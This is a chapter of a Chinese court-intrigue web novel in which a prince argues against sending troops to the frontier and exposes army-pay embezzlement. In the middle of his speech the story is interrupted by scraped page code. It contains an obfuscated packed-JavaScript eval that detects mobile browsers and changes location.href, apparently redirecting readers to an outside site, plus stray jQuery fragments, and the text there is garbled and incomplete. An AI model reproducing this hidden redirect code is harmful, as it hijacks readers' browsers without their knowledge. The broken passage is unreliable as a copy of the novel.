临安皇城，天色尚早，却无半分朝阳破晓的痕迹。


    灰蒙的云一层叠着一层，仿佛沉重的帘幕。风不疾，却透着一股不近人情的寒意。


    初春时节，乍暖还寒，御花园内几朵稀稀落落的杏花一片惨白，枝头有鸟，却不鸣，像是对这寂静有所忌惮。


    阳光从厚重的云缝里投下冷白的孤影，照耀在金銮殿前长长的白玉石阶上，如覆寒霜。


    薛景珩微微抬眸，辰时已过一刻，却迟迟不见摄政王身影。


    二皇子皇甫云州端坐监国议政之位，面色已微沉，指节叩击扶手，发出一连串清脆又压抑的声响。


    殿中文武百官无一人敢出声，气氛像被拉紧的弓弦，稍一用力便要崩裂。


    中书令偏头低语一句：“摄政王今日……似乎是故意的。”


    “嘘——”兵部尚书压低声音，“听说，是昨日安西长孙氏献上的那对和璧鸳鸯惹了祸。”


    “此话何解？”工部给事中伸长了脖颈，探头探脑凑过来询问。


    “一对和璧鸳鸯，一只按例进了二皇子府，被奉给德妃；另一只，竟绕过内务府送去了摄政王府，最后落在独孤迦罗的世子妃苏氏手中。”


    中书令闻言震惊，“这就不妥了。世子妃再得宠也是外命妇，怎配与宫中德妃娘娘平起平坐！？”


    “何止不妥。德妃得知后大发雷霆，当场砸碎了自己那只和璧，寻了错处将随侍宫女打了个半死，说是‘礼制败坏’，又将内务府当班内侍全部杖毙泄愤。”


    “全部杖毙？！德妃娘娘也太草菅……”


    “嘘！”刑部尚书回以一个意味深长的眼神，“摄政王今晨不肯入朝，怕是知晓了德妃摔玉的事儿，借机示威……”


    工部给事中忽然轻咳一声，众人顿时噤声。


    窗外寒鸦突鸣，惊得年迈的中书令手一抖，奏章掉落，却不敢拾。


    “摄政王到——”殿外是太监拖长的宣喝声。


    独孤慎一袭玄色蟒袍踏入殿内，看起来约莫四十有余，身姿如松，虽未着甲却有千军之势。


    他虽然晚了半个时辰，却不急不缓步履从容。


    皇甫云州脸色愈发难看，手指攥紧了扶手，指节泛白。


    “天寒路滑，不小心误了辰时。”独孤慎缓缓开口，声音低沉而浑厚，却无半分歉意，终于行至御阶前，微微躬身，“微臣，参见殿下。”


    他竟自行免去了君臣的跪拜礼。


    皇甫云州眼中闪过一丝怒意，脸上勉强挤出一丝笑意：“无妨，皇叔年岁渐长，偶而力有不逮也属正常。”


    独孤慎并不理会皇甫云州的语带讥讽，直起身，目光如刀，缓缓扫过群臣，最终落在薛景珩身上，唇角微不可察地一勾，似笑非笑。


    薛景珩立于文官队列前方，一身玄青色朝服，袖口绣着规制内的细银线，腰间系着一方温润的白玉佩，衬得人清朗俊秀，如松如竹。


    “听闻淮安王近来喜事连连，府内添了两位国色天香的美人——其中一位，还是德妃娘娘所举荐，真是好福气呀。”独孤慎含笑恭贺道。


    “不过是客居淮安王府的贵人，多谢摄政王关心。”


    薛景珩神色不变，只是微微颔首，算是见礼。


    独孤慎也不恼，似笑非笑挑眉道：“近日翻阅古籍，倒是重温了《汉书》里一桩旧事。”


    他语气从容，语调不疾不徐，像是闲谈间随口提起一则野史轶闻。


    “西汉时，吕太后遣宫女入景帝宫中，说是‘供奉左右’，实则‘窥主心，通外意’。吕后失势后，宫女均被景帝处死。”


    独孤慎顿了顿，目光若有似无地落在薛景珩身上，“淮安王少年英才，自当明辨忠奸，岂会误于脂粉之间？”


    话落，殿内一片死寂，连向来敢于插话的耿介御史都不敢吭声。


    独孤慎这是借古讽今，讥笑德妃给淮安王设下的美人计。


    薛景珩却神色不动，只抬眸回视，恭敬道，“多谢摄政王教诲。微臣愚钝，不敢比肩景帝识断，唯有一心向主，自求无愧。”


    独孤慎冷哼一声，“淮安王好气度，若满朝文武都是淮安王这般忠正之士，又胸宽似海，何愁天下不安？”


    言罢，独孤慎慢条斯理地行至殿侧座席，那把为他特设的紫檀高椅，雕龙镂凤，椅身既高且阔，竟比二皇子的监国椅还要抬出半寸。


    他落座时衣袍一摆，似雪压寒松，气势凛冽。


    皇甫云州脸色铁青，却只能咬牙忍下。


    废太子皇甫云睿自刎后，文帝急火攻心昏迷不醒，未来得及重新册立太子，朝堂俨然成了二皇子皇甫云州和摄政王独孤慎角力之所。


    太傅微微侧首，余光扫过身后几位同僚——户部侍郎赵冉正偷偷抹汗，工部尚书刘墉则面色铁青。今日朝议，注定有一番风波。


    “启禀殿下。”摄政王麾下尉迟将军打量着主子的眼色，率先出列发难，“西疆军报，戎狄蠢动。臣愿意领派三万精兵，固守雁门。”


    朝堂上顿时议论纷纷。


    薛景珩眉头微蹙——摄政王掌兵部多年，还有义子苏怀堂辖制漠北大营，此时还要向西疆增兵，恐怕醉翁之意不在酒，意在进一步掌控西陲大军。


    二皇子皇甫云州显然也意识到这点，脸色一沉：“皇叔，连年征战军中伤残者众，征卒频繁民间亦多怨声。此时若仓促再调兵力备战，恐非良策。”


    “殿下明鉴。”薛景珩适时出列，声音清朗如玉石相击，“兵者，国之大事，连年征战兵甲粮草俱疲，此时应宽徭薄赋，使百姓得以休养，士卒得以生息。”


    “二殿下”，尉迟将军拱手回禀，声如洪钟，“戎狄近月屡次调兵于边境，有意挑起争端。依臣之见，若不早备，恐会危及社稷。”


    “将军之言，未免过急。”薛景珩缓缓转身，语声平淡却带压迫之势。


    “戎狄调兵，是为震慑非为攻伐，近岁草原大旱，牧地缩减、畜力不济，若轻启战端，供给不足，岂不自困后路？”


    “……且我军虽不出境一步，但烽台照夜、甲兵不卸，边防未有丝毫懈怠。戎人素来畏我西疆铁骑，岂敢轻犯？何况，据微臣所知，戎人内部争权未定，左右贤王表面同仇敌忾、实则貌合神离。”


    薛景珩顿了顿，目光扫过独孤慎：


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16877430|188073||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “此时妄动刀兵，是自乱阵脚；休养兵马、稳固边防，方是明策。”


    皇甫云州眼露赞赏之色，独孤慎顿了顿微微颔首，“淮安王之言……确有几分道理。”继续道，“不过嘛……若一味以‘畏战’之心揣度敌意，若有一日失了城池，这罪过当如何呢？”


    言罢，独孤慎微微扬眉道：“倒是本王忘了，淮安王体弱多病、有沉疴旧疾，自然不懂万千将士征战四方的豪情壮志……”


    尉迟将军闻言嬉笑出声，被皇甫云州的冷眼扫了回去。


    薛景珩微一拱手，面色不动：“摄政王言之有理。兵者国之重器，不可轻议，亦不可轻纵。”


    他目光环视众人，语气不疾不徐：“边军困顿，非止风霜苦寒，恐怕亦有内耗。三年军资，岁岁增拨，然前线兵马却常断粮、少甲，此间账目，若细查一查，便知虚实。”


    殿中鸦雀无声，摄政王目光微凝，二皇子尴尬地指尖轻敲衣袖。


    薛景珩停顿片刻，神色从容，却似利刃出鞘：“若真如尉迟将军所言，戎狄将至，那更应先肃军纪、理军规。否则兵未动，粮先尽，岂不贻误大事？”


    摄政王眼中寒光一闪：“淮安王此言何意？”


    薛景珩不卑不亢：“臣只是据实而言。若饷银足额发放，边军何至于缺衣少粮？”


    他从袖中取出一本册子，“这是臣遣人暗访所得边军实况，请殿下过目。”


    二皇子接过册子，脸色阴晴不定。


    皇甫云州在权衡——打击摄政王固然好，但军饷贪腐一案牵涉甚广，他自己恐怕也难脱干系。


    摄政王眼中闪过一丝讶异，随即冷笑：“淮安王准备着实充分。”


    “为臣者，自当尽心天下事。”薛景珩平静回应。


    半晌，保皇派的工部尚书刘墉揣度着二皇子的神色，站出来解围：“殿下！淮安王此言差矣！边军困苦乃因去岁暴雪天灾，与饷银何干？”


    薛景珩还欲辩驳，却被皇甫云州强行压下，“此事容后再议！听闻江南举子又带头闹事，韩尚书查得如何了？”


    薛景珩心中一沉——保皇派和革新派为数不多的默契言和，竟然是互相自保，可惜苦的却是黎民百姓和边疆将士。


    散朝之后，朱墙回廊间，几位朝臣窃窃私语。


    “淮安王之才，诚然可扶大厦于将倾”，一人低声道，“可惜身在局中，欲做纯臣，实在不易。”


    “唉。”另一人叹息，“薛氏拥立二殿下时，便已无退路。二皇子刚愎自用，贪墨成性，两人本就不是一路人……如今倚重薛景珩是为了制衡摄政王革新派的势力，改日若登大宝……怕是第一个容不得的，便是他……可淮安王除了二殿下又有何人可选呢？”


    “薛家这种五姓十族断然不肯放弃保皇派的优待、改投摄政王阵营，就算薛景珩肯，薛氏族人也不肯……皇上子嗣本就不多，大皇子和四皇子未及成年早逝，五皇子好男风，六皇子胆小体弱，再就是七皇子年幼，若是太子还在……”


    “快快住嘴……”几人惊慌失措四处打量，声音低至几不可闻，“太子的事可是本朝忌讳，切莫再提……”